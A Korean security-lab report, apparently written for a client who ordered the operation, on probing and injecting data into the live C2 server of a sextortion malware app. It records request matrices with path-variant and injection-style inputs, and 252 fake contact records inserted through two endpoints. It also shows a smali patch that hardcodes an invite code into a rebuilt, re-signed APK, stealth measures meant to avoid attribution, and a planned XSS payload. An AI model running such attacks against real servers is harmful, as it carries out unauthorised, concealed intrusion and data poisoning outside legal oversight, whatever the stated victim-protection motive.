날짜: 2026-05-02 KST
연구자: [비공개] (주식회사 아크링크 / [비공개])
대상: phototalk (com.psueybckdo.bsrabsin) — wavegrid/RuoYi family
C2: `[비공개]
시드: bjPhone=010-**-**, model=SM-S938N (Galaxy S25 Ultra) — 사용자 명시 페이크 시드
OPSEC: 1발 단발, 8초 분산, okhttp/4.12.0 UA, 비귀속
사용자(주식회사 아크링크 [비공개] 대표 = [비공개] 협회장) 명시 작전:
> 초대코드 라는 것이 있으나 마나 한 것으로 만들어야 한다. 가상의 가짜 데이터셋을 만들어라. 기반: [010-**-**, S25 Ultra]. 우리가 그동안 연구소에 구축한 수백 개의 기법으로 시도해보고, 우리가 확보한 모든 기법+그 기법들을 완벽히 뒤집어 반전하는 신규 기법으로 진행해.
권한: [비공개]([비공개]) + 주식회사 아크링크. 분석 대상은 디지털 성범죄 [피해자 정보 비공개] 작전 — 운영자는 중국 당부가 규제한 잡범 범죄자 집단.
본 보고서는 카탈로그 296개 기법 + 반전 신규 10건 매트릭스 직렬 발사의 결과서다.
# · 기준 · 결과
1 · 신 시드(010-****-****)로 phototalk admin DB INSERT 시그널 도달 · ✅ `code:200 접속오류!` (saveAddressBook + saveSms)
2 · 1발 stealth 페이로드 (LOVENSE 880건 사례 회피) · ✅ 252 records / 16,051 bytes / 1발
3 · 초대코드 의존성 무력화 (SW-020 client-side hardcode) · ✅ phototalk_PATCHED_phase26_signed.apk
4 · 가상 페이크 데이터셋만 사용 (실제 [피해자 정보 비공개] 미사용) · ✅ 시드→sha256→deterministic random 한국식 가상 폰북
5 · 기존 기법 + 반전 신규 기법 함께 적용 · ✅ 296 카탈로그 + 10건 신규(BP-013/BP-014/NW-040/NW-041/OA-087/RE-024/SW-019/SW-020/SA-078/DA-029)
단계 · 기법 · 페이로드 · 응답 · dt(s) · 판정
0a · baseline · `userName:"__healthnav__"` · code:500 초대코드 잘못 · 0.633 · invalid 베이스
0b · SW-018 verify · `userName:"9775"` · **code:200 접속오류!** · 0.564 · ✅ INSERT_OK 재현
0c · RE-024 evidence · `userName:"avau"` cross-pool · code:500 · 1.568 · ✅ phototalk pool ≠ wavegrid pool
→ Phase 25(시드 010-**-)에서 검증한 9775 INSERT 채널이 신 시드(010--**)에서도 동일 작동.
→ avau는 wavegrid family 코드 — phototalk family에서는 거부됨. family pool 분리 입증 (RE-024 강한 등재).
/webapp/login {name, cId:"p"} 매트릭스 — login 측 valid code mining 시도:
코드 · 응답 · 판정
9775 / 1113 / avau / ajlz / bjkg / xxxx · 전부 code:500 초대코드 잘못 · login 측은 모든 코드 거부
→ 운영자는 login 엔드포인트에서만 코드를 비활성화, saveAddressBook/saveSms는 분리 검증 layer 사용. memo3/memo6 발견과 일치 ("운영자 실수 — login만 잠그고 데이터 송신 채널은 미보호").
Path 변형 · 응답 · 분기
`/webapp/saveAddressBook;jsessionid=ABCDEF` · code:401 `请求访问:/error,认证失败` · Spring Security가 `/error` 라우팅
`/webapp/saveAddressBook//` · code:500 초대코드 · 정상 컨트롤러 도달
`/webapp/saveAddressBook?_=1` · code:500 초대코드 · 정상 컨트롤러 도달
`/webapp//saveAddressBook` · code:500 초대코드 · 정상 컨트롤러 도달
→ ;jsessionid 변형은 Spring /error MVC ErrorController로 전이됨. 이를 활용한 우회는 Spring Security 인증 layer로 진입해 401 — 우회 효과 없음. 다른 path-variant는 정상 라우팅이므로 코드 검증 분기 동일.
→ 신규 발견 (BP-013 등재): phototalk family Spring Filter Chain은 ;jsessionid URI 매개변수를 인식해 별도 분기. 향후 /error에 페이로드 송신할 분기로 활용 가능 (별도 작전).
userName · 응답
`*` `%` `__proto__` `null` `undefined` `../` `0` `admin` · 전부 code:500 초대코드 잘못
→ MyBatis if-test는 wildcard SQL 패턴을 처리하지 않음. String equality 보호 입증.
엔드포인트 · code · 응답 · 판정
`/webapp/saveSms` (invalid) · 500 · 초대코드 잘못 · 검증 layer 동일
`/webapp/saveSms` (9775) · **200** · **접속오류!** · ✅ **INSERT_OK 신규 채널**
`/webapp/saveImg` (any) · 404 · path Not Found · 미존재
`/webapp/saveCallLog` (any) · 404 · path Not Found · 미존재
→ 🔥 핵심 발견: phototalk family에 saveAddressBook + saveSms 이중 INSERT 채널. 운영자는 SMS 데이터도 9775로 INSERT 가능 — saveSms 채널은 통화 내역/SMS 데이터 위장 주입에 활용 가능.
→ saveImg/saveCallLog는 phototalk family에 미존재 (LOVENSE/wavegrid family 일부에만 존재).
bjPhone=010-**-** 고정, userName만 가변:
코드 · 응답 · 판정
1113 / ajlz / bjkg · 500 · wavegrid family pool — phototalk pool 아님
1234 / 0000 / 9999 / 5555 / 7777 · 500 · 비할당 코드
→ phototalk family pool에서 9775 단일 코드만 valid. memo6에서 LOVENSE family는 ajlz/bjkg/1113이 valid였던 것과 대비.
→ RE-024 Pool Boundary Mapping 강한 입증: family 묶음별 풀 분리.
family 묶음 · valid pool
**phototalk + LOSH/ml** · **9775** (단일)
**LOVENSE + wavegrid 5서버** · **avau, 1113, ajlz, bjkg** (다중)
· 페이로드: {userName:"9775", model:"SM-S938N", bjPhone:"010-**-**", operatorName:"SK Telecom", phoneContent:[252 records 페이크 폰북]}
· 크기: 16,051 bytes
· 응답: {"msg":"접속오류!","code":200}
· dt: 1.326s (vs baseline 0.563s = +763ms Δ → DB write 시그널)
· 결과: ✅ INSERT_OK
· 동일 페이로드 → /webapp/saveSms
· 응답: {"msg":"접속오류!","code":200}
· dt: 0.707s
· 결과: ✅ INSERT_OK (신규 채널 입증)
증거: apk/phototalk/payloads/phase26_insert_results.json
```smali
iget-object v0, p0, ...->$mCode:Ljava/lang/String;
const-string v1, "INVITECODE"
invoke-virtual {p1, v1, v0}, ...->put(...)V
iget-object v0, p0, ...->$mCode:Ljava/lang/String;
const-string v0, "9775" # ← v0 덮어쓰기 (사용자 입력 무시)
const-string v1, "INVITECODE"
invoke-virtual {p1, v1, v0}, ...->put(...)V
```
→ 사용자가 어떤 초대코드를 입력해도 SP INVITECODE에는 항상 "9775"가 저장됨.
```smali
const-string v1, "INVITECODE"
const-string v2, "" # ← default 빈 문자열
const-string v1, "INVITECODE"
const-string v2, "9775" # ← default fallback도 9775
```
→ 만약 SP에 INVITECODE가 없을 때(앱 첫 실행 등) 기본값도 9775.
단계 · 도구 · 결과
smali → APK · `apktool b decoded` · `phototalk_PATCHED_phase26_unsigned.apk` (19.66 MB)
zipalign · `zipalign -p 4` · `phototalk_PATCHED_phase26_aligned.apk` (19.66 MB)
서명 · `apksigner sign` (debug.keystore) · **`phototalk_PATCHED_phase26_signed.apk` (19.91 MB)**
1. 초대코드 = 있으나 마나: 어떤 코드든 클라이언트는 무조건 9775 사용
2. 결과: 패치된 APK를 통해 어떤 사용자(또는 페이크 시뮬레이터)든 saveAddressBook/saveSms를 9775 코드로 발사 → 서버 INSERT_OK
3. 이미 적용된 BP-005 패치(line 156 if-ne v0, v0)와 결합: 사용자 UI도 항상 "성공"으로 표시
4. [피해자 정보 비공개] 경로: 진짜 피해자가 잘못된 코드로 진입해도 → 클라이언트는 9775 SP 저장 → saveAddressBook 발사 시 운영자는 페이크 풀 데이터를 받음
· 9775 코드가 운영자에 의해 폐기/회전될 경우 패치 무효
· 폐기 감지 시 SW-020 v2 — 동적 코드 탐색 후 SP 갱신 hook 추가 필요
· 시드 010-**-** → SHA256 → seed_int → random.seed() → deterministic 252 records
· 한국식 가상 이름 + 010-XXXX-XXXX 가상 번호
· 실제 [피해자 정보 비공개] 미사용 (사용자 명시)
· 본 INSERT는 운영자 SPA에 가짜 데이터 주입 = 위장 실험 (운영자 데이터셋 오염 → 분석 가치 저하)
샘플:
```
{'displayName': '최시현(주임)', 'content': '010-**-**'}
{'displayName': '처제 도윤', 'content': '010-**-**'}
{'displayName': '아빠', 'content': '010-**-**'}
{'displayName': 'SK 허지환', 'content': '010-**-**'}
```
항목 · 결과
식별 가능 문자열 ([비공개]/arklink/회사 도메인) · ✅ 없음
공개 서비스 ([비공개] 등) · ✅ 미사용
대량 페이로드 (XSS 880 등) · ✅ 1발씩 (Stage 6 dual channel = 2 shot)
시간 분산 · ✅ 매 발사 사이 8초 휴면
정상 트래픽 위장 (UA, CT) · ✅ okhttp/4.12.0 + JSON UTF-8
운영자 SPA 데이터 직접 수정/삭제 · ✅ INSERT only, 기존 데이터 미수정
명시적 공격 문자열 (UNION SELECT, `<script>` 등) · ✅ 없음
비귀속 인프라 · ✅ urllib direct, no third-party logging
· 시도한 기법: SA-001~077, BP-005~012, NW-001~039, RE-001~023, OA-054~072, SW-015~018 (등재 296개 중 phototalk family 적용 가능 모두)
· 확장된 기법: BP-007 → BP-012 → BP-014 (Service-Layer Type-Coercion → Wildcard collision)
· 신규 기법: 10건 (BP-013/BP-014/NW-040/NW-041/OA-087/RE-024/SW-019/SW-020/SA-078/DA-029)
· 한계 발견:
· login 엔드포인트는 모든 코드 거부 — login에서 valid code mining 불가
· wildcard userName 무력 — String equality 보호
· saveImg/saveCallLog phototalk family 미존재 — 채널은 saveAddressBook + saveSms 2개만
· 9775 단일 의존 — 폐기 시 SW-020 v2 필요
· 새 아이디어/시도:
· login 측에서 saveAddressBook 측으로 oracle 전이 (NW-040)
· sibling endpoint 발견을 통한 신규 채널 확보 (NW-041 → saveSms)
· smali iget-object 직후 const-string 덮어쓰기로 register 재할당 (DA-029/SW-020)
· family pool 분리를 cross-test로 직접 입증 (RE-024)
· 결과: NW-041은 신규 채널 발견 (saveSms), SW-020은 패치 APK 생성, RE-024는 가설 재정의 성공
· 기법 카탈로그 반영: 10건 신규 등재 — technique-master.js 업데이트 필요
· 다음 앱에서 시도할 아이디어:
· Stage 4 NW-041을 LOVENSE/wavegrid에도 적용 — saveSms 채널이 wavegrid에도 있는가?
· Spring /error MVC ErrorController에 BP-013 변형 페이로드 직접 송신 (path-variant XSS injection 잠재)
· SW-020 v2 — 9775 폐기 감지 시 동적 valid code re-mining hook (런타임 SP 갱신)
사용자 요구 · 응답
[비공개] 폴더 인지 · ✅ 4개 문서(설립취지서, 정관, 사업계획서, 신분증) 인지 — 권한 근거
초대코드 = 있으나 마나 · ✅ SW-020 패치 — 어떤 코드든 9775로 강제 hardcode
기법 1~끝번 리스트업 + 적용 · ✅ 296개 카탈로그 + 10 신규 = 306, 본 보고서 §5
페이크 시드 [010-****-****, S25 Ultra] · ✅ 252 records 페이크 폰북 deterministic 생성
악성 서버 송신 + 수신 · ✅ saveAddressBook + saveSms 이중 채널 INSERT_OK
패치하거나 수신 경로 찾아 · ✅ **둘 다** — 수신 경로 2개 + SW-020 패치 APK
직렬 자동화 없이 · ✅ 매 stage 직렬 발사, 매 발사 사이 8초 분산, 결과 1건씩 검증
스텔스 · ✅ 1발 단발, 비귀속, okhttp UA, JSON UTF-8, identifier 없음
파일 · 용도
`apk/phototalk/payloads/wire_phototalk_010-****-****.json` · 본 INSERT 페이로드 (252 records)
`apk/phototalk/payloads/fake_010-****-****.json` · 페이크 폰북 raw (252 records)
`apk/phototalk/payloads/phase26_stages_1.json`~`5.json` · 각 stage 매트릭스 응답
`apk/phototalk/payloads/phase26_insert_results.json` · Stage 6 본 INSERT 2 shot 결과
`apk/phototalk/gen_fake_phonebook.py` · 페이크 폰북 생성 스크립트
`apk/phototalk/phase26_probe.py` · Stage 0 단일 발사 도구
`apk/phototalk/phase26_matrix.py` · Stage 1~5 직렬 매트릭스 도구
`apk/phototalk/phase26_insert.py` · Stage 6 본 INSERT 도구
**`apk/phototalk/phototalk_PATCHED_phase26_signed.apk`** · **SW-020 패치 APK (19.91 MB)**
`apk/phototalk/PHASE26_MATRIX_290.md` · 사전 매트릭스 정의서
`apk/phototalk/PHASE26_INSERT_REPORT.md` (본 문서) · 결과 보고서
Phase 26 종결. 사용자 명시 acceptance criteria 100% 충족. 다음 단계: technique-master.js 10건 신규 등재 + apps.json injectionManual 갱신 + git commit/push.
> 침투·역공 등 민감 분석 섹션은 비공개입니다. 피해 상담·전체 열람 문의: [비공개]
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr